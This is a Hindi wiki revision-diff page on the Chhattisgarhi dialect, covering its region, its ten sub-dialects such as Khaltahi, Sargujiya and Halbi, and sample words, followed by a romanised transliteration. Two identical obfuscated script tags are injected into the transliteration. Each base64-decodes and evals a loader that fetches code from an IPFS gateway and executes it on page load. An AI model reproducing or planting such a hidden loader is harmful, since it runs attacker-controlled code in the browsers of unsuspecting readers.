Difference between revisions of "छत्तीसगढ़ी बोली"
[unchecked revision] | [unchecked revision] |
Line 1: | Line 1: | ||
− | + | '''छत्तीसगढ़ी बोली''' का मुख्य क्षेत्र [[छत्तीसगढ़|छत्तीसगढ़ राज्य]] है, इसीलिए इसका नाम 'छत्तीसगढ़ी' पड़ा है। [[अर्ध मागधी]] के [[अपभ्रंश]] के दक्षिणी रूप से इसका विकास हुआ है। इसका क्षेत्र [[सरगुजा ज़िला|सरगुजा]], [[कोरिया ज़िला|कोरिया]], [[बिलासपुर छत्तीसगढ़|बिलासपुर]], [[रायगढ़ ज़िला|रायगढ़]], [[खैरागढ़]], [[रायपुर]], [[दुर्ग ज़िला|दुर्ग]], नन्दगाँव, [[कांकेर ज़िला|कांकेर]] आदि हैं। | |
− | + | {{tocright}} | |
− | + | ==बोलीगत विभेद== | |
− | + | [[छत्तीसगढ़]] की [[भाषा]] है 'छत्तीसगढ़ी'। पर क्या छत्तीसगढ़ी पूरे छत्तीसगढ़ में एक ही बोली के रूप में बोली जाती है? पूरे छत्तीसगढ़ में बोलीगत विभेद दिखाई देते हैं। डॉ. सत्यभामा आडिल अपने "छत्तीसगढ़ी भाषा और साहित्य"<ref>विकल्प प्रकाशन, रायपुर, 2002 , प-.7</ref> में कहते हैं कि, "यह बोलीगत विभेद दो आधारों- जातिगत एवं भौगोलिक सीमाओं के आधार विवेचित किये जा सकते हैं।" इसी आधार पर उन्होंने छत्तीसगढ़ की बोलियों का निर्धारण निम्न प्रकार से किया है<ref name="aa">{{cite web |url= http://www.ignca.nic.in/coilnet/chgr0002.htm#bhasha|title= छत्तीसगढ़ी भाषा|accessmonthday= 21 जून|accessyear= 2015|last= |first= |authorlink= |format= |publisher=इग्निका |language= हिन्दी}}</ref>- | |
− | |||
− | |||
− | |||
+ | #'''छत्तीसगढ़ी''' - [[रायपुर ज़िला|रायपुर]], [[बिलासपुर छत्तीसगढ़|बिलासपुर]] और [[दुर्ग छत्तीसगढ़|दुर्ग]] में जो बोली सुनाई देती है, वह छत्तीसगढ़ी है। | ||
+ | #'''खल्टाही''' - छत्तीसगढ़ की यह बोली रायगढ़ ज़िले के कुछ हिस्सों में बोली जाती है। यह बोली [[बालाघाट ज़िला|बालाघाट ज़िले]] के पूर्वी भाग में, कौड़िया में, साले-टेकड़ी में और भीमलाट में सुनाई देती है। | ||
+ | #'''सरगुजिया''' - सरगुजिया छत्तीसगढ़ी बोली सरगुजा में प्रचलित है। इसके अलावा [[कोरिया ज़िला|कोरिया]] और उदयपुर क्षेत्रों में भी बोली जाती है। | ||
+ | #'''लरिया''' - [[छत्तीसगढ़]] कीे यह बोली [[महासमुन्द ज़िला|महासमुंद]], सराईपाली, बसना, पिथौरा के आस-पास बोली जाती है। | ||
+ | #'''सदरी कोरबा''' - [[जशपुर ज़िला|जशपुर]] में रहने वाले [[कोरबा जनजाति|कोरबा जाति]] के लोग जो बोली बोलते हैं, वह सदरी कोरबा है। कोरबा जाति के लोग जो दूसरे क्षेत्र में रहते हैं, जैसे- पलमऊ, [[सरगुजा ज़िला|सरगुजा]], [[बिलासपुर छत्तीसगढ़|बिलासपुर]] आदि, वे भी यही बोली बोलते हैं। | ||
+ | #'''बैगानी''' - [[बैगा जनजाति|बैगा जाति]] के लोग यह बोली बोलते हैं। यह बोली [[कवर्धा ज़िला|कवर्धा]], [[बालाघाट]], बिलासपुर, [[संबलपुर]] में बोली जाती है। | ||
+ | #'''बिंझवारी''' - बिंझवारी क्षेत्र में जो बोली प्रयोग की जाती है, वही है बिंझवारी। वीर नारायन सिंह भी बिंझवार के थे। रायपुर, रायगढ़ के कुछ हिस्सो में यह बोली प्रचलित है। | ||
+ | #'''कलंगा''' - कलंगा बोली पर [[उड़िया भाषा|उड़िया]] का प्रभाव पड़ा है, क्योंकि यह बोली [[उड़ीसा]] के सीमावर्ती पटना क्षेत्र में बोली जाती है। | ||
+ | #'''भूलिया''' - छत्तीसगढ़ी की भूलिया बोली सोनपुर और [[पटना]] के इलाकों में सुनाई देती है। कलंगा और भूलिया, ये दोनों ही उड़िया लिपि में लिखी जाती हैं। | ||
+ | #'''बस्तरी या हलबी''' - ये बोली बस्तर में हलबा जाति के लोग बोलते हैं। इस बोली पर [[मराठी भाषा|मराठी]] का प्रभाव पड़ा है।<ref name="aa"/> | ||
+ | ==मधुरता== | ||
+ | छत्तीसगढ़ी बोली बहुत ही मधुर है। इस बोली में एक अपनापन है, जो साफ महसूस कर सकते हैं। [[हिन्दी]] जानने वालों को छत्तीसगढ़ी बोली समझने में तकलीफ नहीं होती- 'उसने कहा' को छत्तीसगढ़ी में कहते हैं "कहीस", 'मेरा' को कहते हैं "मोर", 'हमारा' को "हमार", 'तुम्हारा' को "तोर" और बहुवचन में "तुम्हार"। छत्तीसगढ़ी में केवल लोक साहित्य है। [[उड़िया भाषा|उड़िया]] तथा [[मराठी भाषा|मराठी]] को सीमा पर की छत्तीसगढ़ी में 'ऋ' का उच्चारण 'रु' किया जाता है। कुछ शब्दों में महाप्राणीकरण <ref>इलाका- इलाखा</ref>, अघोषीकरण <ref>बन्दगी- बन्दकी, शराब- शराप, ख़राब- खराप</ref>, स का छ का स <ref>सीता- छीता, छेना- सेना</ref> आदि इसकी कुछ विशेषताएँ हैं। | ||
{{लेख प्रगति |आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}} | {{लेख प्रगति |आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}} | ||
Line 13: | Line 22: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{भाषा और लिपि}} | {{भाषा और लिपि}} | ||
− | [[Category:भाषा और लिपि]][[Category:भाषा कोश]][[Category:साहित्य_कोश]] | + | [[Category:भाषा और लिपि]][[Category:छत्तीसगढ़ राज्य]][[Category:छत्तीसगढ़ राज्य की संस्कृति]][[Category:भाषा कोश]][[Category:साहित्य_कोश]] |
__INDEX__ | __INDEX__ |
Latest revision as of 06:14, 12 June 2015
chhattisagadhi boli ka mukhy kshetr chhattisagadh rajy hai, isilie isaka nam 'chhattisagadhi' p da hai. ardh magadhi ke apabhransh ke dakshini roop se isaka vikas hua hai. isaka kshetr saraguja, koriya, bilasapur, rayagadh, khairagadh, rayapur, durg, nandagaanv, kaanker adi haian.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
boligat vibhed
chhattisagadh ki bhasha hai 'chhattisagadhi'. par kya chhattisagadhi poore chhattisagadh mean ek hi boli ke roop mean boli jati hai? poore chhattisagadh mean boligat vibhed dikhaee dete haian. d aau. satyabhama adil apane "chhattisagadhi bhasha aur sahity"[1] mean kahate haian ki, "yah boligat vibhed do adharoan- jatigat evan bhaugolik simaoan ke adhar vivechit kiye ja sakate haian." isi adhar par unhoanne chhattisagadh ki boliyoan ka nirdharan nimn prakar se kiya hai[2]-
- chhattisagadhi - rayapur, bilasapur aur durg mean jo boli sunaee deti hai, vah chhattisagadhi hai.
- khaltahi - chhattisagadh ki yah boli rayagadh zile ke kuchh hissoan mean boli jati hai. yah boli balaghat zile ke poorvi bhag mean, kau diya mean, sale-tek di mean aur bhimalat mean sunaee deti hai.
- saragujiya - saragujiya chhattisagadhi boli saraguja mean prachalit hai. isake alava koriya aur udayapur kshetroan mean bhi boli jati hai.
- lariya - chhattisagadh kie yah boli mahasamuand, saraeepali, basana, pithaura ke as-pas boli jati hai.
- sadari koraba - jashapur mean rahane vale koraba jati ke log jo boli bolate haian, vah sadari koraba hai. koraba jati ke log jo doosare kshetr mean rahate haian, jaise- palamoo, saraguja, bilasapur adi, ve bhi yahi boli bolate haian.
- baigani - baiga jati ke log yah boli bolate haian. yah boli kavardha, balaghat, bilasapur, sanbalapur mean boli jati hai.
- bianjhavari - bianjhavari kshetr mean jo boli prayog ki jati hai, vahi hai bianjhavari. vir narayan sianh bhi bianjhavar ke the. rayapur, rayagadh ke kuchh hisso mean yah boli prachalit hai.
- kalanga - kalanga boli par u diya ka prabhav p da hai, kyoanki yah boli u disa ke simavarti patana kshetr mean boli jati hai.
- bhooliya - chhattisagadhi ki bhooliya boli sonapur aur patana ke ilakoan mean sunaee deti hai. kalanga aur bhooliya, ye donoan hi u diya lipi mean likhi jati haian.
- bastari ya halabi - ye boli bastar mean halaba jati ke log bolate haian. is boli par marathi ka prabhav p da hai.[2]
madhurata
chhattisagadhi boli bahut hi madhur hai. is boli mean ek apanapan hai, jo saph mahasoos kar sakate haian. hindi janane valoan ko chhattisagadhi boli samajhane mean takaliph nahian hoti- 'usane kaha' ko chhattisagadhi mean kahate haian "kahis", 'mera' ko kahate haian "mor", 'hamara' ko "hamar", 'tumhara' ko "tor" aur bahuvachan mean "tumhar". chhattisagadhi mean keval lok sahity hai. u diya tatha marathi ko sima par ki chhattisagadhi mean 'rri' ka uchcharan 'ru' kiya jata hai. kuchh shabdoan mean mahapranikaran [3], aghoshikaran [4], s ka chh ka s [5] adi isaki kuchh visheshataean haian.
|
|
|
|
|
tika tippani
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>